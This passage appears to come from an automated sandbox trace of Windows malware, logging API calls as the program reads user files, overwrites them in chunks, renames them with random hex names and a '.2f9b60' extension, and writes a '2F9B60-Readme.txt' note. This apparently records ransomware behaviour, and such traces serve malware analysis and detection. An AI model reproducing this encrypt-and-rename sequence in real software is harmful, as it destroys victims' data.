| out: Seed=0x4095fa30) returned 0x79fec705 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x216d4bf [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x3c268827 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x7ded36e4 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x6753314f [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x195e5d4 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x6753314f [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x1cef5154 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x6048b5e2 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x16290323 [0119.980] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x3120243d [0119.980] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x76c5ae30 [0119.980] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x2619c053 [0119.980] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x173b08de [0119.980] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x6c3d26b2 [0119.980] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x739eeb7 [0119.980] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x7f95d43b [0119.980] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x60397dca [0119.980] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x7f8d6eaf [0119.980] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x30fb91c0 [0119.980] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x6c580005 [0119.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0119.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0119.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0119.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0119.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860660) returned 1 [0119.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe50) returned 1 [0119.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20166910 [0119.988] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.988] ReadFile (in: hFile=0x1758, lpBuffer=0x20166910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4095faa0, lpOverlapped=0x0 | out: lpBuffer=0x20166910*, lpNumberOfBytesRead=0x4095faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0119.988] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0119.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0119.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0119.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe50) returned 1 [0119.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201578d0 [0119.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0119.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0119.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860660) returned 1 [0119.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0119.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0119.989] WriteFile (in: hFile=0x1758, lpBuffer=0x201578d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4095faa0, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesWritten=0x4095faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0122.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0122.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20166910) returned 1 [0122.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cda01b0 [0122.142] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.142] WriteFile (in: hFile=0x1758, lpBuffer=0x168000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x4095fb50, lpOverlapped=0x0 | out: lpBuffer=0x168000*, lpNumberOfBytesWritten=0x4095fb50*=0x110, lpOverlapped=0x0) returned 1 [0122.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0122.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f400 [0122.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f400) returned 1 [0122.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x2050f400 [0122.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f430 [0122.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f460 [0122.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f460) returned 1 [0122.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0122.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x42059560 [0122.851] sprintf (in: _Dest=0x42059560, _Format="%c%c" | out: _Dest="ab") returned 2 [0122.851] sprintf (in: _Dest=0x42059562, _Format="%c%c" | out: _Dest="6a") returned 2 [0122.851] sprintf (in: _Dest=0x42059564, _Format="%c%c" | out: _Dest="76") returned 2 [0122.851] sprintf (in: _Dest=0x42059566, _Format="%c%c" | out: _Dest="b6") returned 2 [0122.851] sprintf (in: _Dest=0x42059568, _Format="%c%c" | out: _Dest="6a") returned 2 [0122.851] sprintf (in: _Dest=0x4205956a, _Format="%c%c" | out: _Dest="1a") returned 2 [0122.851] sprintf (in: _Dest=0x4205956c, _Format="%c%c" | out: _Dest="0c") returned 2 [0122.851] sprintf (in: _Dest=0x4205956e, _Format="%c%c" | out: _Dest="9d") returned 2 [0122.852] sprintf (in: _Dest=0x42059570, _Format="%c%c" | out: _Dest="f3") returned 2 [0122.852] sprintf (in: _Dest=0x42059572, _Format="%c%c" | out: _Dest="77") returned 2 [0122.852] sprintf (in: _Dest=0x42059574, _Format="%c%c" | out: _Dest="b1") returned 2 [0122.852] sprintf (in: _Dest=0x42059576, _Format="%c%c" | out: _Dest="78") returned 2 [0122.852] sprintf (in: _Dest=0x42059578, _Format="%c%c" | out: _Dest="0b") returned 2 [0122.852] sprintf (in: _Dest=0x4205957a, _Format="%c%c" | out: _Dest="3b") returned 2 [0122.852] sprintf (in: _Dest=0x4205957c, _Format="%c%c" | out: _Dest="fd") returned 2 [0122.852] sprintf (in: _Dest=0x4205957e, _Format="%c%c" | out: _Dest="e0") returned 2 [0122.852] sprintf (in: _Dest=0x42059580, _Format="%c%c" | out: _Dest="ac") returned 2 [0122.852] sprintf (in: _Dest=0x42059582, _Format="%c%c" | out: _Dest="ae") returned 2 [0122.852] sprintf (in: _Dest=0x42059584, _Format="%c%c" | out: _Dest="ab") returned 2 [0122.852] sprintf (in: _Dest=0x42059586, _Format="%c%c" | out: _Dest="f8") returned 2 [0122.852] sprintf (in: _Dest=0x42059588, _Format="%c%c" | out: _Dest="ea") returned 2 [0122.852] sprintf (in: _Dest=0x4205958a, _Format="%c%c" | out: _Dest="3b") returned 2 [0122.852] sprintf (in: _Dest=0x4205958c, _Format="%c%c" | out: _Dest="af") returned 2 [0122.852] sprintf (in: _Dest=0x4205958e, _Format="%c%c" | out: _Dest="bf") returned 2 [0122.852] sprintf (in: _Dest=0x42059590, _Format="%c%c" | out: _Dest="82") returned 2 [0122.852] sprintf (in: _Dest=0x42059592, _Format="%c%c" | out: _Dest="b7") returned 2 [0122.852] sprintf (in: _Dest=0x42059594, _Format="%c%c" | out: _Dest="7b") returned 2 [0122.852] sprintf (in: _Dest=0x42059596, _Format="%c%c" | out: _Dest="39") returned 2 [0122.852] sprintf (in: _Dest=0x42059598, _Format="%c%c" | out: _Dest="0e") returned 2 [0122.852] sprintf (in: _Dest=0x4205959a, _Format="%c%c" | out: _Dest="10") returned 2 [0122.852] RtlInitAnsiString (in: DestinationString=0x4095fbc8, SourceString="ab6a76b66a1a0c9df377b1780b3bfde0acaeabf8ea3bafbf82b77b390e10" | out: DestinationString="ab6a76b66a1a0c9df377b1780b3bfde0acaeabf8ea3bafbf82b77b390e10") [0122.852] RtlAnsiStringToUnicodeString (in: DestinationString=0x4095fb98, SourceString="ab6a76b66a1a0c9df377b1780b3bfde0acaeabf8ea3bafbf82b77b390e10", AllocateDestinationString=1 | out: DestinationString="ab6a76b66a1a0c9df377b1780b3bfde0acaeabf8ea3bafbf82b77b390e10") returned 0x0 [0122.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x2050b4f0 [0122.853] wcscat (in: _Dest=0x1b7a57b0, _Source="ab6a76b66a1a0c9" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\ab6a76b66a1a0c9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\ab6a76b66a1a0c9" [0122.853] wcscat (in: _Dest=0x1b7a57b0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\ab6a76b66a1a0c9.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\ab6a76b66a1a0c9.2f9b60" [0122.853] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\ab6a76b66a1a0c9.2f9b60", NtPathName=0x4095fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\ab6a76b66a1a0c9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x118a20 [0123.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118a20) returned 1 [0123.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202930d0) returned 1 [0123.096] NtQueryInformationFile (in: FileHandle=0x1758, IoStatusBlock=0x4095fbd8, FileInformation=0x4095fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4095fbd8, FileInformation=0x4095fbe8) returned 0x0 [0123.096] NtSetInformationFile (FileHandle=0x1758, IoStatusBlock=0x4095fbd8, FileInformation=0x4095fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a57b0) returned 1 [0123.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b4f0) returned 1 [0123.108] FlushFileBuffers (hFile=0x1758) returned 1 [0123.112] CloseHandle (hObject=0x1758) returned 1 [0123.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd651e0 [0123.126] wcscpy (in: _Dest=0x1cd651e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0123.126] wcscat (in: _Dest=0x1cd651e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" [0123.126] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\2f9b60-readme.txt")) returned 0xffffffff [0123.126] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1758 [0123.132] WriteFile (in: hFile=0x1758, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x4095fa90, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x4095fa90*=0xba9, lpOverlapped=0x0) returned 1 [0123.138] CloseHandle (hObject=0x1758) returned 1 [0123.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd651e0) returned 1 [0123.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 Thread: id = 1448 os_tid = 0x18f4 [0119.994] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\bCrqCCH45-XZh VSR.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\bcrqcch45-xzh vsr.flv")) returned 0x20 [0119.994] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\bCrqCCH45-XZh VSR.flv", dwFileAttributes=0x20) returned 1 [0119.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\bCrqCCH45-XZh VSR.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\bcrqcch45-xzh vsr.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1714 [0119.995] GetFileSizeEx (in: hFile=0x1714, lpFileSize=0x40a4fbe0 | out: lpFileSize=0x40a4fbe0*=68702) returned 1 [0119.995] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x10c5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.995] ReadFile (in: hFile=0x1714, lpBuffer=0x40a4fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x40a4fba8, lpOverlapped=0x0 | out: lpBuffer=0x40a4fb60*, lpNumberOfBytesRead=0x40a4fba8*=0x4, lpOverlapped=0x0) returned 1 [0119.996] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0119.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0119.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0119.997] NtQuerySystemTime (in: CurrentTime=0x40a4faa0 | out: CurrentTime=0x40a4faa0*=132462177254002000) returned 0x0 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x1f600b62 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x1d4a1501 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x330bdf2 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x787cc80e [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x3d6e4472 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x2e3f2fb7 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x4d6ed555 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x14563b3d [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x48411d8f [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x55a4e6c [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x6673e784 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x30821e06 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x777138c [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x31a6f4c0 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x55a4e6c [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x54607bd [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x338a2ec5 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x61cfff5a [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0xe4fc03d [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x76c5ae30 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x2f0c6fc0 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x5c0636f7 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x38d21db9 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x20c455f0 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x6a2feb44 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x787cc80e [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x51b796a [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x3bfc61e6 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0xf4aa030 [0119.997] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x2c5a95a9 [0119.998] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x11c2998a [0119.998] RtlRandomEx (in: Seed=0x40a4fa90 | out: Seed=0x40a4fa90) returned 0x48244cf4 [0120.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0120.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0120.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0120.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0120.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f670) returned 1 [0120.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860660) returned 1 [0120.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cefc290 [0120.005] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.005] ReadFile (in: hFile=0x1714, lpBuffer=0x1cefc290, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x40a4fb00, lpOverlapped=0x0 | out: lpBuffer=0x1cefc290*, lpNumberOfBytesRead=0x40a4fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0120.005] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0120.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0120.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0120.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860660) returned 1 [0120.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cee5a30 [0120.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0120.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0120.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f670) returned 1 [0120.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0120.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0120.006] WriteFile (in: hFile=0x1714, lpBuffer=0x1cee5a30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x40a4fb00, lpOverlapped=0x0 | out: lpBuffer=0x1cee5a30*, lpNumberOfBytesWritten=0x40a4fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0122.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee5a30) returned 1 [0122.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cefc290) returned 1 [0122.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cda01f0 [0122.145] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.145] WriteFile (in: hFile=0x1714, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x40a4fbb0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x40a4fbb0*=0x11c, lpOverlapped=0x0) returned 1 [0122.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0122.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0122.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0122.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cda01b0 [0122.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0122.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0122.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85faf0) returned 1 [0122.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0122.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9c490 [0122.855] sprintf (in: _Dest=0x1cd9c490, _Format="%c%c" | out: _Dest="ca") returned 2 [0122.855] sprintf (in: _Dest=0x1cd9c492, _Format="%c%c" | out: _Dest="24") returned 2 [0122.855] sprintf (in: _Dest=0x1cd9c494, _Format="%c%c" | out: _Dest="96") returned 2 [0122.855] sprintf (in: _Dest=0x1cd9c496, _Format="%c%c" | out: _Dest="c7") returned 2 [0122.855] sprintf (in: _Dest=0x1cd9c498, _Format="%c%c" | out: _Dest="38") returned 2 [0122.855] sprintf (in: _Dest=0x1cd9c49a, _Format="%c%c" | out: _Dest="7e") returned 2 [0122.855] sprintf (in: _Dest=0x1cd9c49c, _Format="%c%c" | out: _Dest="a5") returned 2 [0122.855] sprintf (in: _Dest=0x1cd9c49e, _Format="%c%c" | out: _Dest="ed") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4a0, _Format="%c%c" | out: _Dest="df") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4a2, _Format="%c%c" | out: _Dest="0e") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4a4, _Format="%c%c" | out: _Dest="ba") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4a6, _Format="%c%c" | out: _Dest="ec") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4a8, _Format="%c%c" | out: _Dest="09") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4aa, _Format="%c%c" | out: _Dest="e6") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4ac, _Format="%c%c" | out: _Dest="5a") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4ae, _Format="%c%c" | out: _Dest="9a") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4b0, _Format="%c%c" | out: _Dest="ed") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4b2, _Format="%c%c" | out: _Dest="10") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4b4, _Format="%c%c" | out: _Dest="7b") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4b6, _Format="%c%c" | out: _Dest="65") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4b8, _Format="%c%c" | out: _Dest="ca") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4ba, _Format="%c%c" | out: _Dest="77") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4bc, _Format="%c%c" | out: _Dest="05") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4be, _Format="%c%c" | out: _Dest="d6") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4c0, _Format="%c%c" | out: _Dest="8f") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4c2, _Format="%c%c" | out: _Dest="63") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4c4, _Format="%c%c" | out: _Dest="c7") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4c6, _Format="%c%c" | out: _Dest="75") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4c8, _Format="%c%c" | out: _Dest="ed") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4ca, _Format="%c%c" | out: _Dest="c1") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4cc, _Format="%c%c" | out: _Dest="90") returned 2 [0122.856] sprintf (in: 